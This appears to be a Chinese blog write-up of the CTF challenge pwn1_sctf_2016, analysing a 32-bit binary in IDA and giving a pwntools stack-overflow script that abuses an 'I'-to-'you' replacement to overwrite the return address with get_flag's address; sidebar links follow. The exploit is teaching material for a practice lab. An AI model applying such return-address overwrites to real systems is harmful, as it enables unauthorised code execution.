当前位置:网站首页>pwn1_sctf_2016
pwn1_sctf_2016
2022-07-23 23:28:00 【长街395】
一、查看文件
先file ./pwn1_sctf_2016查看文件类型再checksec --file=pwn1_sctf_2016检查一下文件保护情况。

二、IDA反编译
用IDA Pro 32bit打开pwn1_sctf_2016后按F5反汇编源码并查看主函数,发现vuln()函数。

双击vuln()函数查看源码,分析后发现fgets()函数限制输入32个字节到变量s中,乍一看并没有超出可用栈大小。
再按一次F5后发现第19行的replace()函数会把输入的I替换成you,1个字符变成3个字符。 并且在第27行会对原来的s变量重新赋值。
在Functions window可以看到有一个get_flag()函数,按F5反汇编可以看到这是一个系统调用,且get_flag()函数的起始地址为0x8048F0D。

查看栈结构发现s的长度为0x3c,即60个字节,而输入被限制在32个字节内,每个I可以被替换成you,所以输入60÷3=20个I就能让栈溢出,然后db 4 dup(?) 还需要占用4个字节的内存,最后加上get_flag()函数的起始地址0x8048F0D构成payload。
三、代码
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 25314)
payload = b'I'*20 + b'a'*0x4 + p32(0x8048F0D)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

总结
这道题目的情况是多了个替换字符的函数,使得一个I在存储中变为you,一个字节变为三字节,这时候需要根据情况确定多少字符使得栈溢出。
还是照常的流程,但题目已经开始变化了,我现在还是一知半解迷迷糊糊的状态,
害,菜狗子还需努力。
边栏推荐
- 砺夏行动 2022|源启数字化圆桌论坛即将上线
- Lixia action | Yuanqi Digitalization: existing mode or open source innovation?
- Redis集群搭建(Cluster 集群模式,分片集群)
- 二,数字逻辑功能单元
- Wechat applet implements a global event bus by itself
- Stm32f4 check the frequency of each part of the system
- Analytic hierarchy process (matlab)
- 2022-7-22 face review + simple topic sorting
- Learning MySQL is enough
- Matlab Foundation
猜你喜欢

2、 Digital logic functional unit

Getting started database days2

Raspberry pie SSH login
solo 文章正文含有 <> 标签会影响到页面样式

史上最全的2022年版Android面试题

C # introductory series (XXVIII) -- query syntax of LINQ

Software architecture

Analytic hierarchy process (matlab)

TAP 系列文章6 | TAP的应用模型

Analysis of video capability and future development trend based on NVR Technology
随机推荐
FreeRTOS personal notes - suspend / unhook tasks
13. Roman to integer
Classification model - logistic regression, Fisher linear discriminant (SPSS)
浅析基于NVR技术的视频能力与未来发展趋势
Preparation for raspberry pie 3B serial port login
The basic syntax of go language (variables, constants, basic data types, for, switch, case, array, slice, make, new, map)
PHP(2)
Use of pairwise
Use boundschecker "suggestions collection"
[array] longest continuous subsequence in nc95 array - difficult
Tap series article 8 | tap Learning Center - learn through hands-on tutorials
2022-7-22 face review + simple topic sorting
Galaxy Securities opens an account online. Is it safe to open an account on your mobile phone
系列文章|云原生时代下微服务架构进阶之路 - 微服务拆分的最佳实践
C # introductory series (XXVIII) -- query syntax of LINQ
At the forefront of the times, Huawei aims at the wind and sea of digital finance
None和nan、NaN、NAN
Finding all paths between two points in a directed graph
[redis] redis installation and client redis cli use (batch operation)
Go language multiple return values and return error types